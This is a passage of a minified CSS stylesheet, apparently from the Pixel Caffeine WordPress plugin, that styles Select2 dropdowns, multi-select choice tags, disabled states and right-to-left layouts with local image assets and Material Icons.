height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .pixel-caffeine .select2-results { max-height: 200px; padding: 0 0 0 4px; margin: 4px 4px 4px 0; position: relative; overflow-x: hidden; overflow-y: auto; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } .pixel-caffeine html[dir=rtl] .select2-results { padding: 0 4px 0 0; margin: 4px 0 4px 4px; } .pixel-caffeine .select2-results ul.select2-result-sub { margin: 0; padding-left: 0; } .pixel-caffeine .select2-results li { list-style: none; display: list-item; background-image: none; } .pixel-caffeine .select2-results li.select2-result-with-children > .select2-result-label { font-weight: bold; } .pixel-caffeine .select2-results .select2-result-label { padding: 3px 7px 4px; margin: 0; cursor: pointer; min-height: 1em; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .pixel-caffeine .select2-results-dept-1 .select2-result-label { padding-left: 20px; } .pixel-caffeine .select2-results-dept-2 .select2-result-label { padding-left: 40px; } .pixel-caffeine .select2-results-dept-3 .select2-result-label { padding-left: 60px; } .pixel-caffeine .select2-results-dept-4 .select2-result-label { padding-left: 80px; } .pixel-caffeine .select2-results-dept-5 .select2-result-label { padding-left: 100px; } .pixel-caffeine .select2-results-dept-6 .select2-result-label { padding-left: 110px; } .pixel-caffeine .select2-results-dept-7 .select2-result-label { padding-left: 120px; } .pixel-caffeine .select2-results .select2-highlighted { background: #3875d7; color: #fff; } .pixel-caffeine .select2-results li em { background: #feffde; font-style: normal; } .pixel-caffeine .select2-results .select2-highlighted em { background: transparent; } .pixel-caffeine .select2-results .select2-highlighted ul { background: #fff; color: #000; } .pixel-caffeine .select2-results .select2-no-results, .pixel-caffeine .select2-results .select2-searching, .pixel-caffeine .select2-results .select2-ajax-error, .pixel-caffeine .select2-results .select2-selection-limit { background: #f4f4f4; display: list-item; padding-left: 5px; } .pixel-caffeine .select2-results .select2-disabled.select2-highlighted { color: #666; background: #f4f4f4; display: list-item; cursor: default; } .pixel-caffeine .select2-results .select2-disabled { background: #f4f4f4; display: list-item; cursor: default; } .pixel-caffeine .select2-results .select2-selected { display: none; } .pixel-caffeine .select2-more-results.select2-active { background: #f4f4f4 url(select2-spinner.gif) no-repeat 100%; } .pixel-caffeine .select2-results .select2-ajax-error { background: rgba(255, 50, 50, 0.2); } .pixel-caffeine .select2-more-results { background: #f4f4f4; display: list-item; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice .select2-arrow { background-color: #f4f4f4; background-image: none; border-left: 0; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice abbr { display: none; } .pixel-caffeine .select2-container-multi .select2-choices { height: auto !important; height: 1%; margin: 0; padding: 0 5px 0 0; position: relative; border: 1px solid #aaa; cursor: text; overflow: hidden; background-color: #fff; background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff)); background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(1%, #eee), color-stop(15%, #fff)); background-image: -o-linear-gradient(top, #eee 1%, #fff 15%); background-image: linear-gradient(to bottom, #eee 1%, #fff 15%); } .pixel-caffeine html[dir=rtl] .select2-container-multi .select2-choices { padding: 0 0 0 5px; } .pixel-caffeine .select2-locked { padding: 3px 5px 3px 5px !important; } .pixel-caffeine .select2-container-multi .select2-choices { min-height: 26px; } .pixel-caffeine .select2-container-multi.select2-container-active .select2-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); } .pixel-caffeine .select2-container-multi .select2-choices li { float: left; list-style: none; } .pixel-caffeine html[dir=rtl] .select2-container-multi .select2-choices li { float: right; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-field { margin: 0; padding: 0; white-space: nowrap; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-field input { padding: 5px; margin: 1px 0; font-family: sans-serif; font-size: 100%; color: #666; outline: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; background: transparent !important; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-field input.select2-active { background: #fff url(select2-spinner.gif) no-repeat 100% !important; } .pixel-caffeine .select2-default { color: #999 !important; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice { padding: 3px 5px 3px 18px; margin: 3px 0 3px 5px; position: relative; line-height: 13px; color: #333; cursor: default; border: 1px solid #aaaaaa; border-radius: 3px; -webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #e4e4e4; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#eeeeee", endColorstr="#f4f4f4", GradientType=0); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee)); background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), to(#eee)); background-image: -o-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); } .pixel-caffeine html[dir=rtl] .select2-container-multi .select2-choices .select2-search-choice { margin: 3px 5px 3px 0; padding: 3px 18px 3px 5px; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice .select2-chosen { cursor: default; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice-focus { background: #d4d4d4; } .pixel-caffeine .select2-search-choice-close { display: block; width: 12px; height: 13px; position: absolute; right: 3px; top: 4px; font-size: 1px; outline: none; background: url(select2.png) right top no-repeat; } .pixel-caffeine html[dir=rtl] .select2-search-choice-close { right: auto; left: 3px; } .pixel-caffeine .select2-container-multi .select2-search-choice-close { left: 3px; } .pixel-caffeine html[dir=rtl] .select2-container-multi .select2-search-choice-close { left: auto; right: 2px; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover { background-position: right -11px; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close { background-position: right -11px; } .pixel-caffeine .select2-container-multi.select2-container-disabled .select2-choices { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .pixel-caffeine .select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice { padding: 3px 5px 3px 5px; border: 1px solid #ddd; background-image: none; background-color: #f4f4f4; } .pixel-caffeine .select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { display: none; background: none; } .pixel-caffeine .select2-result-selectable .select2-match, .pixel-caffeine .select2-result-unselectable .select2-match { text-decoration: underline; } .pixel-caffeine .select2-offscreen, .pixel-caffeine .select2-offscreen:focus { clip: rect(0 0 0 0) !important; width: 1px !important; height: 1px !important; border: 0 !important; margin: 0 !important; padding: 0 !important; overflow: hidden !important; position: absolute !important; outline: 0 !important; left: 0px !important; top: 0px !important; } .pixel-caffeine .select2-display-none { display: none; } .pixel-caffeine .select2-measure-scrollbar { position: absolute; top: -10000px; left: -10000px; width: 100px; height: 100px; overflow: scroll; } @media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2/1), only screen and (min-resolution: 2dppx) { .pixel-caffeine .select2-search input, .pixel-caffeine .select2-search-choice-close, .pixel-caffeine .select2-container .select2-choice abbr, .pixel-caffeine .select2-container .select2-choice .select2-arrow b { background-image: url(select2x2.png) !important; background-repeat: no-repeat !important; background-size: 60px 40px !important; } .pixel-caffeine .select2-search input { background-position: 100% -21px !important; } } .pixel-caffeine .select2-container { height: auto; padding-top: 0; padding-bottom: 2px; z-index: 1; } .pixel-caffeine .select2-container:hover { background-color: #e7ecf6; } .pixel-caffeine .select2-container .select2-choice, .pixel-caffeine .select2-container .select2-choices { height: 37px; line-height: 37px; border: none; border-radius: 0; background: #f2f4fa; } .pixel-caffeine .select2-container .select2-choice .select2-arrow, .pixel-caffeine .select2-container .select2-choices .select2-arrow { width: 30px; background: none; border-left: none; } .pixel-caffeine .select2-container .select2-choice .select2-arrow b, .pixel-caffeine .select2-container .select2-choices .select2-arrow b { display: none; } .pixel-caffeine .select2-container .select2-choice .select2-arrow::before, .pixel-caffeine .select2-container .select2-choices .select2-arrow::before { content: ""; position: absolute; top: 50%; left: 50%; margin-top: -3px; margin-left: -6px; width: 0; height: 0; border-style: solid; border-width: 6px 6px 0 6px; border-color: #444 transparent transparent transparent; } .pixel-caffeine .select2-container .select2-choice { padding-left: 0; padding-right: 0; background-color: transparent; } .pixel-caffeine .select2-container .select2-choice:hover { text-decoration: none; color: #444; } .pixel-caffeine .select2-container.select2-container-active .select2-choices, .pixel-caffeine .select2-container.select2-container-active .select2-choice { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine .select2-container.select2-container { display: block !important; } .pixel-caffeine .select2-container.select2-container-disabled { background: #f6f6f6; border-bottom: 1px dotted #D2D2D2; cursor: not-allowed; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice { background: none; border: none; pointer-events: none; color: #BDBDBD !important; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice .select2-chosen { color: inherit; } .pixel-caffeine .select2-container.select2-container-disabled .select2-choice .select2-arrow::before { border-color: #BDBDBD transparent transparent transparent; } .pixel-caffeine .select2-container .select2-chosen, .pixel-caffeine .select2-container .select2-arrow { -webkit-transition: opacity 0.3s ease-out; -o-transition: opacity 0.3s ease-out; transition: opacity 0.3s ease-out; } .pixel-caffeine .select2-container::after { opacity: 0; -webkit-transition: opacity 0.3s ease-out; -o-transition: opacity 0.3s ease-out; transition: opacity 0.3s ease-out; } .pixel-caffeine .select2-container.loading-data { pointer-events: none; } .pixel-caffeine .select2-container.loading-data::after { position: absolute; top: 9px; right: 14px; color: #444; opacity: 0.75; font-size: 1.5em; } .pixel-caffeine .select2-container.loading-data .select2-chosen { opacity: 0.5; } .pixel-caffeine .select2-container.loading-data .select2-arrow { opacity: 0; } .pixel-caffeine .form-group .select2-container-multi.form-control { padding-left: 0; padding-right: 0; } .pixel-caffeine .select2-container-multi:hover { background-color: #f2f4fa; } .pixel-caffeine .select2-container-multi .select2-choices { background-color: transparent; padding: 0 10px; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-field .select2-input { padding: 0; margin: 0; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-field, .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice { float: none; display: inline-block; margin: 0px 5px 0px 0; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice { position: relative; top: 1px; background: #dfe6f3; padding: 7px 27px 7px 7px; border: none; border-radius: 0; text-transform: uppercase; font-size: 0.85em; font-weight: 600; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice-close { top: 50%; margin-top: -10px; left: auto; width: 20px; height: 20px; line-height: 20px; background: none !important; text-align: center; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice-close::before { content: "close"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; color: #4C70BA; font-size: 18px; } .pixel-caffeine .select2-container-multi .select2-choices .select2-search-choice-close:hover::before { color: #E15667; } .pixel-caffeine .select2-container-multi.select2-container-active .select2-choices { border: none; } .pixel-caffeine .select2-drop { -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); background: #dfe6f3; border: none; } .pixel-caffeine .select2-drop .select2-search { padding: 10px; } .pixel-caffeine .select2-drop .select2-search::before { position: absolute; right: 10px; width: 30px; content: "search"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; line-height: 38px; color: #96abd6; font-size: 1.5em; } .pixel-caffeine .select2-drop .select2-search .select2-input { min-height: 38px; background-color: #FFF; background-image: none !important; border-color: #96abd6; padding-right: 30px; } .pixel-caffeine .select2-drop .select2-search .select2-input.select2-focused { -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px #96abd6; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px #96abd6; } .pixel-caffeine .select2-drop.select2-drop-above.select2-drop-active { border-top: none; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine .select2-drop.dropdown-width-max { width: auto !important; } .pixel-caffeine .select2-drop-multi { -webkit-transform: translate(0, 1px); -o-transform: translate(0, 1px); transform: translate(0, 1px); } .pixel-caffeine .select2-results { padding: 0; margin: 0; font-size: 14px; font-weight: 300; background: none; } .pixel-caffeine .select2-results .select2-result, .pixel-caffeine .select2-results .select2-no-results { padding: 10px; margin-bottom: 0; } .pixel-caffeine .select2-results .select2-result { border-top: 1px solid #bac8e5; margin: 0; border-radius: 0; } .pixel-caffeine .select2-results .select2-no-results { background: none; } .pixel-caffeine .select2-results .select2-result-label { padding: 0; } .pixel-caffeine .select2-results .select2-highlighted { background: #96abd6; color: #FFF; } .pixel-caffeine .select2-results .select2-highlighted:active { background: #4C70BA; color: #FFF; } .pixel-caffeine .select2-results .select2-add { background-color: #3b5998; color: #FFF; } .pixel-caffeine .select2-results .select2-add .select2-result-label::before { position: relative; left: 0; content: "add_circle"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; color: #FFF; margin-right: 10px; } .pixel-caffeine .select2-dropdown-open.select2-drop-above .select2-choice, .pixel-caffeine .select2-dropdown-open.select2-drop-above .select2-choices { background: none; border: none; } .pixel-caffeine .select2-dropdown-open.select2-drop-above .select2-add { background-color: #3b5998; } .pixel-caffeine .input-group-btn { padding-left: 0; } .pixel-caffeine .input-group-btn .select2-container { margin-bottom: 0; } .pixel-caffeine .input-group-btn .select2-container .select2-choice { height: 38px; } .pixel-caffeine.modal-open { overflow: hidden; } .pixel-caffeine.modal-open .modal { overflow-x: hidden; overflow-y: auto; }